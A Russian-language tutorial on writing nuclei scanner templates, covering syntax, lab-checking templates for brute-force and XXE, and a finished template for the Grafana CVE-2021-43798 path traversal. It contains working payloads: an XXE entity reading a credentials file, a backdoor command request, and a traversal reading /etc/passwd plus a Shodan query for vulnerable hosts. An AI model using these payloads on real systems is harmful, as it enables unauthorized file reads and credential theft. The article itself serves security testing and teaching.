Приветствую тебя, уважаемый читатель. В данной статье изучим nuclei, исследуем его возможности и рассмотрим, как создавать кастомные шаблоны для эффективного тестирования безопасности веб-приложений.
Содержание
-
Базовый синтаксис:
-
Введение в синтаксис nuclei.
-
Примеры кода для лучшего понимания.
-
-
Пример сканера для проверки работы лаборатории
-
Шаги, необходимые для выполнения работы.
-
Подробный пример с пошаговым объяснением кода.
-
-
Написание темплейта для уязвимости (CVE):
-
Детали процесса написания темплейта.
-
Пример темплейта для определенной уязвимости CVE.
-
-
Заключение
Базовый синтаксис
Итак, для корректной работы Nuclei необходимо следующее:
-
Расширение .yaml
Каждый шаблон обязан иметь расширение .yaml
-
ID:
Каждый шаблон должен обязательно иметь уникальный идентификатор, именно с него и должен начинаться шаблон. Кроме того, идентификатор не должен содержать пробелов.
id: first_template
-
Информация о шаблоне
Для каждого шаблона обязательными являются поля «author», «name» и «severity», однако так же рекомендуется добавить подробное описание, ссылки и теги, чтобы легче было понять его назначение и функциональность.
info: name: First template author: SidneyJob severity: high description: My first nuclei template for my article reference: https://sidneyjob.ru tags: first,cve,learn,nuclei
-
Запросы:
Чтобы взаимодействовать с веб-приложением, в шаблоне необходимо указать по крайней мере один запрос. В запросе определяются метод, путь, заголовки, тело запроса и другие параметры. Начинаются запросы в шаблоне с помощью поля http:
http:
Далее, нам необходимо определить метод, по которому будет происходить взаимодействие с сайтом. Метод запроса может быть GET, POST, PUT, DELETE и т. д. в зависимости от потребностей.
method: GET
Путь указывается с помощью поля «path». Пример запроса, используя который nulcei будет отправлять запрос к файлу «secret_file_for_sove_cve.txt»
http: method: GET path: - "{{BaseURL}}/secret_file_for_sove_cve.txt"
Вместо ссылки я указал {{BaseURL}} — это динамические переменные, которые могут быть помещены в путь, чтобы изменить его поведение во время выполнения. Переменные начинаются с «{{» и заканчиваются на «}}» и чувствительны к регистру.
Примеры динамических переменных:
{{BaseURL}} — заменит во время выполнения в запросе входной URL-адрес, указанный в целевом файле. {{RootURL}} — заменит во время выполнения в запросе корневой URL-адрес, указанный в целевом файле. {{Hostname}} — переменная имени хоста заменяется именем хоста, включая порт цели во время выполнения. {{Host}} — заменит во время выполнения в запросе входной хост, как указано в целевом файле. {{Port}} — время выполнения в запросе будет заменен входной порт, указанный в целевом файле. {{Path}} — во время выполнения в запросе будет заменен входной путь, указанный в целевом файле. {{File}} — заменит во время выполнения в запросе имя входного файла, указанное в целевом файле. {{Scheme}} — во время выполнения в запросе будет заменена схема протокола, указанная в целевом файле.
|
Переменная |
Значение |
|
{{BaseURL}} |
|
|
{{RootURL}} |
|
|
{{Hostname}} |
example.com:443 |
|
{{Host}} |
example.com |
|
{{Port}} |
443 |
|
{{Path}} |
/foo |
|
{{File}} |
bar.php |
|
{{Scheme}} |
https |
Другим способом создания запроса является использование необработанных запросов (RAW), которые обеспечивают большую гибкость
http: - raw: - | POST /some_path_for_cve/backdoor.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username=SidneyJob&cmd=ls%20-la
Формат запроса RAW также поддерживает различные вспомогательные функции,
позволяющие нам манипулировать входными данными во время выполнения.
Пример использования вспомогательной функции.
http: - raw: - | GET /admin/some_private_page HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64('username:password')}}
Вы можете найти полный список всех вспомогательных функций на официальном сайте или в моем телеграм-канале в формате PDF-файла.
-
Проверка (Matchers):
Проверки используются для определения соответствия ответов на запросы определенным критериям. Например, можно проверить наличие определенной строки в ответе сервера или определенный HTTP-код ответа.
Всего есть 6 типов проверок:
|
Тип сопоставления |
Нужен для |
|
status |
Проверки ответа по статусу ответа |
|
size |
Проверки ответа по длине ответа |
|
word |
Проверки ответа по вхождению в него заданного слова |
|
regex |
Проверки ответа с помощью регулярных выражений |
|
binary |
Проверки ответа, который закодирован в hex |
|
dsl |
Создания более сложных выражений с помощью вспомогательных функций. |
Давайте создадим шаблон, который будет искать файл cve_proof.txt в корне веб-сайта.
id: first_template info: name: First template author: SidneyJob severity: high description: My first nuclei template for my article reference: https://sidneyjob.ru tags: first,cve,learn,nuclei http: - method: GET path: - "{{BaseURL}}/cve_proof.txt" matchers: - type: status status: - 200
Как читать данный шаблон?
Этот шаблон называется «first_template» и является первым шаблоном, созданным автором SidneyJob. Он имеет высокую степень серьезности и используется для статьи автора. Все подробности и ссылки можно найти на сайте SidneyJob.ru. Шаблон также имеет теги: first, cve, learn, nuclei, которые помогут сортировать и находить его.
Описание работы шаблона построчно:
-
Объявление раздела «http».
-
Указание метода запроса «GET».
-
Указание пути, по которому будет осуществляться поиск файла. В данном случае — «{{BaseURL}}/cve_proof.txt». Здесь «{{BaseURL}}» является переменной, которая будет заменена на актуальный URL во время выполнения шаблона.
-
Определение матчеров (сопоставителей), используемых для проверки ответного кода сервера.
-
Определение типа матчера «status» (код состояния).
-
Указание ожидаемого статуса сервера «200» — успех.
Таким образом данный шаблон отправляет GET-запрос к указанному пути на веб-сайте, заменяя переменную «{{BaseURL}}» на актуальный URL. Затем он проверяет ответный статус код — если код состояния сервера равен 200, то считается, что файл cve_proof.txt найден.
Пример сканера для проверки работы лаборатории
У нас есть лаборатория, которую мы создали с моим коллегой, чтобы предоставить возможность практиковать свои навыки в тестировании веб-приложений. Однако, каждый раз вручную проверять все задания после обновлений является неэффективным подходом. Поэтому я предлагаю вам написать собственные шаблоны, которые автоматически проверят корректность работы. Такой подход поможет нам не только автоматизировать процесс проверки, но и отточить ваши навыки в написании шаблонов.
Я рекомендую вам сначала выполнить задание в лаборатории (еще некоторое время будет хоститься здесь), а затем написать шаблон для автоматической эксплуатации обнаруженной уязвимости. Такой подход позволит вам извлечь максимальную пользу из данной лаборатории.
Совместно с вами мы рассмотрим два шаблона для задания на уязвимость POST-брутфорс, а также задание на XXE.
Начнем с задания на POST-брутфорс
id: post_brute info: name: Check SidneyJob and cherepawwka lab author: SidneyJob severity: low description: Check correct post_brute http: - raw: - | GET / HTTP/2 Host: {{Hostname}} - | POST /postbrute HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} payloads: username: ./pass password: ./pass cookie-reuse: true stop-at-first-match: true matchers: - type: word part: body words: - "flag{" attack: clusterbomb
-
id: post_brute: Здесь указывается уникальный идентификатор для шаблона, равный «post_brute». -
info:: Этот раздел предоставляет общую информацию о шаблоне.-
name: Check SidneyJob and cherepawwka lab: Название шаблона, указывающее на его цель — проверка лаборатории SidneyJob и cherepawwka. -
author: SidneyJob: Указывается автор шаблона. -
severity: low: Дает представление о уровне серьезности связанной с этим шаблоном уязвимости. -
description: Check correct post_brute: Краткое описание того, что делает шаблон, а именно проверку правильности post_brute.
-
-
http:: В этом разделе определяются HTTP-запросы, которые будут отправлены во время сканирования.-
raw:: Указывается использование необработанного формата HTTP-запроса. -
- |: Обозначает многострочный синтаксис YAML. -
GET / HTTP/2: Представляет первый HTTP-запрос, который является GET-запросом к корневому пути («/») с использованием протокола HTTP/2. -
Host: {{Hostname}}: Используется заполнитель ({{Hostname}}), который будет заменен фактическим именем хоста во время выполнения. -
POST HTTP/2: Представляет второй HTTP-запрос, который является POST-запросом с использованием протокола HTTP/2. -
Content-Type: application/x-www-form-urlencoded: Указывает тип содержимого полезной нагрузки POST-запроса. -
username={{username}}&password={{password}}: Определяет данные формы для полезной нагрузки POST-запроса, где {{username}} и {{password}} являются заполнителями.
-
-
payloads:: Здесь указываются полезные нагрузки, которые будут использоваться для шаблона.-
username: ./pass: Означает, что данная полезная нагрузка будет извлекаться из локального файла. -
password: ./pass: Означает, что данная полезная нагрузка будет извлекаться из локального файла.
-
-
cookie-reuse: true: Позволяет Nuclei повторно использовать куки в различных запросах. -
stop-at-first-match: true: Указывает Nuclei прекратить сканирование дальше, если найдено соответствие. -
matchers:: Определяются механизмы поиска определенных шаблонов в ответе.-
- type: word: Указывается тип механизма поиска, который в данном случае является «word» для поиска определенных слов. -
part: body: Означает, что механизм поиска должен искать указанные слова в теле ответа. -
words: - "flag{": Указывается список слов, которые необходимо найти в теле ответа. В данном случае ищется слово «flag{«.
-
-
attack: clusterbomb: Настраивает тип атаки для данного шаблона, который в данном случае является «clusterbomb» для отправки нескольких запросов параллельно.
Пояснение к 3-ему пункту: В данном разделе представлены два HTTP-запроса. Причина для этого связана с особенностями архитектуры лаборатории. Пока пользователю не присвоены cookie, сайт будет перенаправлять его на главную страницу. Чтобы использовать присвоенные нам cookie в первом запросе, мы воспользовались возможностью, указанной в 5-ом пункте: cookie-reuse: true. Таким образом, мы можем повторно использовать куки во втором запросе, что позволяет нам получить доступ к определенным функциональностям сайта и провести дополнительные проверки на наличие уязвимостей.
Перейдем к заданию на эксплуатацию XXE
id: xxe info: name: Check SidneyJob and cherepawwka lab author: SidneyJob severity: low description: Check correct xxe page http: - raw: - | GET / HTTP/2 Host: {{Hostname}} - | POST /doLogin HTTP/2 Host: {{Hostname}} Content-Type: application/xml;charset=utf-8 <?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///app/creds.txt" > ]> <user> <username>&xxe;</username><password>f</password></user> cookie-reuse: true matchers: - type: word part: body words: - "My uncrackable creds"
-
id: xxe:Эта строка присваивает шаблону идентификатор «xxe». -
info:Этот блок содержит общую информацию о шаблоне.-
name: Check SidneyJob and cherepawwka lab:Эта строка указывает название шаблона, которое является «Check SidneyJob and cherepawwka lab». -
author: SidneyJob:Эта строка указывает автора шаблона, который является «SidneyJob». -
severity: low:Эта строка указывает уровень серьезности шаблона, который является «низким». -
description: Check correct xxe page: Эта строка предоставляет краткое описание того, что проверяет шаблон, а именно «Проверяет правильность xxe-страницы».
-
-
http::Эта строка начинает секцию HTTP-запросов шаблона, где определяются сами запросы и ответы.-
raw::Эта строка указывает, что мы используем непосредственные (raw) HTTP-запросы в данном шаблоне.-
GET / HTTP/2:Это первый непосредственный (raw) HTTP-запрос типа GET. Он извлекает корневую страницу («/») с использованием протокола HTTP/2.-
Host: {{Hostname}}:Эта строка использует заполнитель «{{Hostname}}», который будет заменен на фактическое имя хоста во время выполнения шаблона.
-
-
POST HTTP/2:Это второй непосредственный (raw) HTTP-запрос типа POST. Он отправляет XML-данные на сервер.-
Host: {{Hostname}}: Аналогично предыдущему запросу, эта строка использует заполнитель «{{Hostname}}». -
Content-Type: application/xml;charset=utf-8:Эта строка указывает тип контента запроса как XML с кодировкой UTF-8. -
Следующие строки содержат XML-данные. Они устанавливают имя пользователя в виде XML-сущности с именем «xxe» и включают ссылку на файл на сервере («file:///app/creds.txt») для значения «xxe». Также устанавливается пароль на «f».
-
-
-
cookie-reuse: true:Эта строка указывает, что шаблон должен повторно использовать полученные куки во время выполнения запросов.
-
-
matchers:: Этот блок определяет сопоставители ответов для проверки, являются ли выполнены определенные условия.-
- type: word:Эта строка указывает тип сопоставителя, который является «словом». -
- part: body:Эта строка указывает, что сопоставление должно выполняться в теле ответа. -
- words:Эта строка содержит список слов, которые должны присутствовать в теле ответа для успешного сопоставления. В данном случае ожидается наличие слова «My uncrackable creds».
-
Написание темплейта для уязвимости (CVE):
Предполагаю, что к настоящему моменту вы уже понимаете принцип создания шаблонов для nuclei. Однако, перед тем как закончим, давайте напишем шаблон для какой-нибудь уязвимости. Для нашего примера я выбрал CVE-2021-43798 (Grafana 8.3.0 — Directory Traversal and Arbitrary File Read). Мы с вами создадим шаблон Nuclei, чтобы искать именно эту уязвимость.
Давайте начнем с поиска контейнера с уязвимой версией Grafana на Docker Hub и запуска его. Выполним следующую команду:
docker pull grafana/grafana:8.3.0 docker run -p 80:3000 --name getsimple --rm grafana/grafana:8.3.0
Теперь уязвимая версия Grafana доступа по ссылке http://127.0.0.1 и можно приступать к тестированию и настройке нашего шаблона.
Начнем с оформления части с информацией
id: grafana830 #Это идентификатор шаблона, который помогает уникально идентифицировать эту уязвимость. info: #В этом блоке содержится информация о шаблоне, такая как название, автор, уровень серьезности и описание. name: Template for find CVE-2021-43798 #Здесь указывается название шаблона, которое описывает его цель - поиск уязвимости CVE-2021-43798. author: SidneyJob #Это имя автора шаблона. severity: high #Уровень серьезности уязвимости указывается как "high" (высокий). description: Directory Traversal and Arbitrary File Read in Grafana version 8.3.0 #Здесь предоставляется описание уязвимости, в данном случае, она связана с произвольным чтением и обходом директорий в Grafana версии 8.3.0. reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581 #Предоставляются ссылки на дополнительные ресурсы, где можно узнать больше об уязвимости или найти эксплоиты. tags: DT,fileread,grafana #Здесь перечисляются теги для данного шаблона, которые помогают классифицировать его и упрощают поиск. metadata: #В блоке metadata содержится метаданные шаблона, которые помогают в поиске уязвимостей. shodan-query: 'vuln:CVE-2021-43798' #В этом случае, используется Shodan запрос 'vuln:CVE-2021-43798', чтобы найти уязвимые устройства, связанные с CVE-2021-43798.
Давайте воспользуемся публичным эксплоитом для получения всех доступных плагинов и используем вспомогательную функцию repeat.
payloads: passwd_file: - '{{repeat("../", 10)}}' plugins: - alertlist - annolist - barchart - bargauge - candlestick - cloudwatch - dashlist - elasticsearch - gauge - geomap - gettingstarted - grafana - azure - monitor - datasource - graph - heatmap - histogram - influxdb - jaeger - logs - loki - mssql - mysql - news - nodeGraph - opentsdb - piechart - pluginlist - postgres - prometheus - stackdriver - stat - state - timeline - status - histor - table - table - old - tempo - testdata - text - timeseries - welcome - zipkin
Дополнительно мы добавим два параметра:
attack: clusterbomb
stop-at-first-match: true
Первый параметр attack: clusterbomb будет позволять перебирать все возможные варианты плагинов, а второй параметр stop-at-first-match: true позволит прекратить поиск, как только будет найден первый успешный плагин.
Ну и напоследок нам нужно добавить в шаблон проверку, чтобы убедиться что эксплоит отработал успешно
matchers: - type: regex regex: - "root:[x*]:0:0:" part: body
Финальный вид шаблона:
id: grafana_8_3_0 info: name: Template for find CVE-2021-43798 author: SidneyJob severity: high description: Directory Traversal and Arbitrary File Read in Grafana version 8.3.0 reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581 tags: DT,file_read,grafana metadata: shodan-query: 'vuln:CVE-2021-43798' http: - method: GET path: - "{{BaseURL}}/public/plugins/{{plugins}}/{{passwd_file}}etc/passwd" attack: clusterbomb stop-at-first-match: true payloads: passwd_file: - '{{repeat("../", 10)}}' plugins: - alertlist - annolist - barchart - bargauge - candlestick - cloudwatch - dashlist - elasticsearch - gauge - geomap - gettingstarted - grafana - azure - monitor - datasource - graph - heatmap - histogram - influxdb - jaeger - logs - loki - mssql - mysql - news - nodeGraph - opentsdb - piechart - pluginlist - postgres - prometheus - stackdriver - stat - state - timeline - status - histor - table - table - old - tempo - testdata - text - timeseries - welcome - zipkin matchers: - type: regex regex: - "root:[x*]:0:0:" part: body
Заключение
В заключение, использование шаблонов nuclei для тестирования веб-приложений является мощным инструментом, способствующим повышению качества и надежности разрабатываемых веб-приложений. Шаблоны nuclei предоставляют эффективный способ тестирования веб-приложений, позволяя создавать реалистичные и масштабируемые сценарии использования.
Призываю Вас к дальнейшему изучению и применению полученных знаний, чтобы достичь более высокого уровня автоматизации и эффективности в процессе тестирования приложений.
Хотелось бы выразить искреннюю благодарность всем читателям за то, что вы уделили время на прочтение этой статьи. Я надеюсь, что представленная информация о создании шаблонов nuclei была полезной и информативной для вас.
С уважением, @SidneyJob
ссылка на оригинал статьи https://habr.com/ru/articles/744222/
Добавить комментарий